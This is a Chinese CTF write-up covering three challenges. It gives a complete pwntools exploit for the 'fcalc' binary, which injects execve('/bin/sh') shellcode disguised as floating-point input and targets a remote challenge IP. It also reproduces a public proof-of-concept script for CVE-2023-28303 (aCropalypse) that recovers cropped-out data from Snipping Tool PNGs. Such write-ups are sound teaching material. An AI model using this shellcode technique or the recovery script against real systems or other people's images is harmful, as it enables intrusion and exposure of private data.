emmmm,做了三道签到题就做不动了

Pwn

fcalc

pwn的签到题?简单写写思路

逻辑不难,模拟1-100的浮点数的加减乘除,然后栈可执行:

image-20230729173700154

明显栈上写shellcode,想办法跳到shellcode执行

先解决第一步:如何跳到shellcode执行

跳到shellcode:

通过逆向分析加调试,加减乘除的函数地址放在这里,而最后0x5555555580e0这里还存储着输入浮点数的位置

image-20230729173832564

这里执行输入+、-、*、/,如果我们输入“0”,既能符合前面的判断,也能执行0x5555555580e0这里的地址,所以就可以跳到shellcode执行

image-20230729174003930

写入shellcode:

通过gdb调试可以知道填充0x38个字节后就能到存储小数的位置:

image-20230729175441229

所以第一次写入超长的小数并带入shellcode,小数长度要0x48,因为需要写入两个小数,总共占用了0x10个字节,写到这本来以为再写入个小数,写入个“0”就完成了,运行后不通才发现它还检测了存储小数的所有位置要满足大于1小于100,这就使得直接生成的shellcode不满足这个条件,后面网上查了一下,1-100的范围为:3FF0000000000000-4059000000000000

image-20230729180032523

image-20230729180051055

所以主要控制最高字节和次高字节在3FF0-4059之间即可

由于mov rdi 0x68732f2f6e69622f,这个转换过来的机器码太长了,所以打算在第一次小数中顺便填充进“/bin/sh”,这里本来是不符合小数的,但它的检测只检测了前0x30个字节,所以后面可以填充进来

先写个shellcode:

1
2
3
4
5
6
mov rdi,rsi
add rdi,0x32
xor rsi,rsi
xor rdx,rdx
mov eax,0x3b
syscall

在线网站转换一下:

image-20230729180504549

然后每条汇编指令前面填充\x90(nop的机器码),最后两个字节填充 ‘ \x40 ’(好像是rex的机器码,最开始抱着试一下看看怎么样,发现这里不会将其识别为汇编指令,其他的都能正常识别并执行)

最后exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64',os='linux')
p=process('./fcalc')
p=remote('61.147.171.105',56530)
elf=ELF('./fcalc')

sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
s = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
ru = lambda s:p.recvuntil(s)
rc = lambda s:p.recv(s)
uu64=lambda data :u64(data.ljust(8,'\x00'))
get_libc = lambda :u64(ru('\x7f')[-6:].ljust(8,'\x00'))
plo = lambda o:p64(libc_base+o)

'''
mov rdi,rsi
add rdi,0x32
xor rsi,rsi
xor rdx,rdx
mov eax,0x3b
syscall
'''
payload=(b'2.').ljust(0x32,b'2')+b'/bin/sh\x00'+b'2'*22+b'\x48\x89\xF7\x90\x90\x90\x40\x40'+b'\x48\x83\xC7\x32\x90\x90\x40\x40'+b'\x48\x31\xf6\x48\x31\xd2\x40\x40'+b'\xB8\x3B\x00\x00\x00\x90\x40\x40'+b'\x0F\x05\x90\x90\x90\x90\x40\x40'
sa('expression:\n',payload)
sl(b'1.2')
sl(b'0')
#gdb.attach(p)
#pause()

p.interactive()

flag如下:

image-20230729191609224

注意的坑点:输入shellcode的时候不能输入换行符,后面判断也会判断到换行符不是小数。。。

Misc

old language

谷歌识图:

image-20230729101629873

第一个,dovahkiin字体,搜一下

image-20230729101659122

对照一下写出来即可:

GIKRVZY (有个坑人的地方,k和c是一样的)

sinppingTools

网上查找了解到是cve-2023-28303漏洞,同时找到了脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
import zlib
import sys
import io

if len(sys.argv) != 5:
print(f"USAGE: {sys.argv[0]} orig_width orig_height cropped.png reconstructed.png")
exit()

PNG_MAGIC = b"\x89PNG\r\n\x1a\n"

def parse_png_chunk(stream):
size = int.from_bytes(stream.read(4), "big")
ctype = stream.read(4)
body = stream.read(size)
csum = int.from_bytes(stream.read(4), "big")
assert(zlib.crc32(ctype + body) == csum)
return ctype, body

def pack_png_chunk(stream, name, body):
stream.write(len(body).to_bytes(4, "big"))
stream.write(name)
stream.write(body)
crc = zlib.crc32(body, zlib.crc32(name))
stream.write(crc.to_bytes(4, "big"))

orig_width = int(sys.argv[1])
orig_height = int(sys.argv[2])

f_in = open(sys.argv[3], "rb")
magic = f_in.read(len(PNG_MAGIC))
assert(magic == PNG_MAGIC)

# find end of cropped PNG
while True:
ctype, body = parse_png_chunk(f_in)
if ctype == b"IEND":
break

# grab the trailing data
trailer = f_in.read()
print(f"Found {len(trailer)} trailing bytes!")

# find the start of the nex idat chunk
try:
next_idat = trailer.index(b"IDAT", 12)
except ValueError:
print("No trailing IDATs found :(")
exit()

# skip first 12 bytes in case they were part of a chunk boundary
idat = trailer[12:next_idat-8] # last 8 bytes are crc32, next chunk len

stream = io.BytesIO(trailer[next_idat-4:])

while True:
ctype, body = parse_png_chunk(stream)
if ctype == b"IDAT":
idat += body
elif ctype == b"IEND":
break
else:
raise Exception("Unexpected chunk type: " + repr(ctype))

idat = idat[:-4] # slice off the adler32

print(f"Extracted {len(idat)} bytes of idat!")

print("building bitstream...")
bitstream = []
for byte in idat:
for bit in range(8):
bitstream.append((byte >> bit) & 1)

# add some padding so we don't lose any bits
for _ in range(7):
bitstream.append(0)

print("reconstructing bit-shifted bytestreams...")
byte_offsets = []
for i in range(8):
shifted_bytestream = []
for j in range(i, len(bitstream)-7, 8):
val = 0
for k in range(8):
val |= bitstream[j+k] << k
shifted_bytestream.append(val)
byte_offsets.append(bytes(shifted_bytestream))

# bit wrangling sanity checks
assert(byte_offsets[0] == idat)
assert(byte_offsets[1] != idat)

print("Scanning for viable parses...")

# prefix the stream with 32k of "X" so backrefs can work
prefix = b"\x00" + (0x8000).to_bytes(2, "little") + (0x8000 ^ 0xffff).to_bytes(2, "little") + b"X" * 0x8000

for i in range(len(idat)):
truncated = byte_offsets[i%8][i//8:]

# only bother looking if it's (maybe) the start of a non-final adaptive huffman coded block
if truncated[0]&7 != 0b100:
continue

d = zlib.decompressobj(wbits=-15)
try:
decompressed = d.decompress(prefix+truncated) + d.flush(zlib.Z_FINISH)
decompressed = decompressed[0x8000:] # remove leading padding
if d.eof and d.unused_data in [b"", b"\x00"]: # there might be a null byte if we added too many padding bits
print(f"Found viable parse at bit offset {i}!")
# XXX: maybe there could be false positives and we should keep looking?
break
else:
print(f"Parsed until the end of a zlib stream, but there was still {len(d.unused_data)} byte of remaining data. Skipping.")
except zlib.error as e: # this will happen almost every time
#print(e)
pass
else:
print("Failed to find viable parse :(")
exit()

print("Generating output PNG...")

out = open(sys.argv[4], "wb")

out.write(PNG_MAGIC)

ihdr = b""
ihdr += orig_width.to_bytes(4, "big")
ihdr += orig_height.to_bytes(4, "big")
ihdr += (8).to_bytes(1, "big") # bitdepth
ihdr += (2).to_bytes(1, "big") # true colour
ihdr += (0).to_bytes(1, "big") # compression method
ihdr += (0).to_bytes(1, "big") # filter method
ihdr += (0).to_bytes(1, "big") # interlace method

pack_png_chunk(out, b"IHDR", ihdr)

# fill missing data with solid magenta
reconstructed_idat = bytearray((b"\x00" + b"\xff\x00\xff" * orig_width) * orig_height)

# paste in the data we decompressed
reconstructed_idat[-len(decompressed):] = decompressed

# one last thing: any bytes defining filter mode may
# have been replaced with a backref to our "X" padding
# we should fine those and replace them with a valid filter mode (0)
print("Fixing filters...")
for i in range(0, len(reconstructed_idat), orig_width*3+1):
if reconstructed_idat[i] == ord("X"):
#print(f"Fixup'd filter byte at idat byte offset {i}")
reconstructed_idat[i] = 0

pack_png_chunk(out, b"IDAT", zlib.compress(reconstructed_idat))
pack_png_chunk(out, b"IEND", b"")

print("Done!")

但需要原图大小,因为是截图整个屏幕,搜了一下常用屏幕分辨率,最后试到一个“ 2560 * 1440”能大致还原:

out6

放大肉眼查看得到flag如下:

*CTF{cve-2023-28303-windows-snipping-tool-is-not-secure-4E9019139D9A}